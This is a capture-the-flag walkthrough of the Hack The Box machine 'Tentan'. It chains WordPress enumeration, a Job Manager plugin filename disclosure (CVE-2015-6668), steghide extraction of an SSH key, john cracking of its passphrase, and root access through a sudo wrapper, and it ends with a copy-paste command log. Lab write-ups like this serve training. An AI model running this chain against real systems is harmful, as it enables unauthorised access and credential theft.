Hack The Box Tentan

🎯 Objective

Gain user and root on the target at 10.10.10.10 by enumerating a WordPress site, abusing a vulnerable plugin to discover an uploaded CV image, extracting an SSH private key via steganography, cracking the key passphrase, and finally escalating with a sudo-allowed wrapper.

🗺️ Target & Setup

• Add host mapping:
  bash Copy

  echo "10.10.10.10  10.10.10.10" | sudo tee -a /etc/hosts

• Initial browse (note the “gotcha” of opening the raw IP as well as hostname):

🔎 Reconnaissance

Nmap

nmap -sC -sV -oA nmap 10.10.10.10

Content Discovery

• Dirbuster (first pass — medium list) → nothing special.
• Second pass wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Nikto

WordPress fingerprints and general web misconfigs:

WordPress Enumeration

wpscan --url http://10.10.10.10
wpscan --url http://10.10.10.10 --enumerate u

• Observed author in posts: takis (potential SSH/app username).

⚙️ Exploitation Path

1) Job Manager CV Filename Disclosure (CVE-2015-6668)

Use quick cURL loop to enumerate application IDs and find the “HackerAccessGranted – Job Portal” application page:

for i in $(seq 1 20); do 
  echo -n "$i: " 
  curl -s http://10.10.10.10/index.php/jobs/apply/$i/ | grep 'Job Application: HackerAccessGranted'
done

Then use the PoC approach (modified to search JPEGs across date paths) to disclose the CV filename:

Found CV image URL:

http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg

2) Steganography → Private Key

Try basic triage first:

strings HackerAccessGranted.jpg
binwalk HackerAccessGranted.jpg

No dice → leverage steghide:

steghide extract -sf HackerAccessGranted.jpg

Loot: id_rsa

3) Crack SSH Key Passphrase

Convert to “john” format and crack with rockyou:

python sshng2john.py id_rsa > decrypted.txt
john decrypted.txt --wordlist=/usr/share/wordlists/rockyou.txt

• Passphrase: superpassword

4) SSH — User Shell

Try with discovered username takis:

ssh -i id_rsa takis@10.10.10.10
# enter passphrase: superpassword

⬆️ Privilege Escalation

Check allowed sudoers entries:

sudo -l

Output reveals a custom wrapper:

(root) NOPASSWD: /bin/fuckin

Exploit by spawning a root shell through the wrapper:

sudo /bin/fuckin bash
whoami   # root

Rooted. ✅

🧪 Copy‑Paste Command Log

# Recon
nmap -sC -sV -oA nmap 10.10.10.10
wpscan --url http://10.10.10.10
wpscan --url http://10.10.10.10 --enumerate u

# Find the special “Job Application” page
for i in $(seq 1 20); do echo -n "$i: "; curl -s http://10.10.10.10/index.php/jobs/apply/$i/ | grep 'Job Application: HackerAccessGranted'; done

# Grab and extract the CV image
wget http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg
steghide extract -sf HackerAccessGranted.jpg

# Crack the SSH key
python sshng2john.py id_rsa > decrypted.txt
john decrypted.txt --wordlist=/usr/share/wordlists/rockyou.txt

# SSH as takis
ssh -i id_rsa takis@10.10.10.10

# Privesc
sudo -l
sudo /bin/fuckin bash

✅ Lessons Learned

• When a webapp “feels” like WordPress, confirm and immediately hunt for known-vulnerable plugins.
• Filename disclosure bugs can be enough to pivot to hidden loot (e.g., CVs with embedded secrets).
• Keep stego tools in your kit (steghide, zsteg, exiftool). Try quick triage first, then stego.
• SSH private keys are common CTF loot—remember ssh2john + john for passphrases.
• Always run sudo -l: custom wrappers often grant easy root if misconfigured.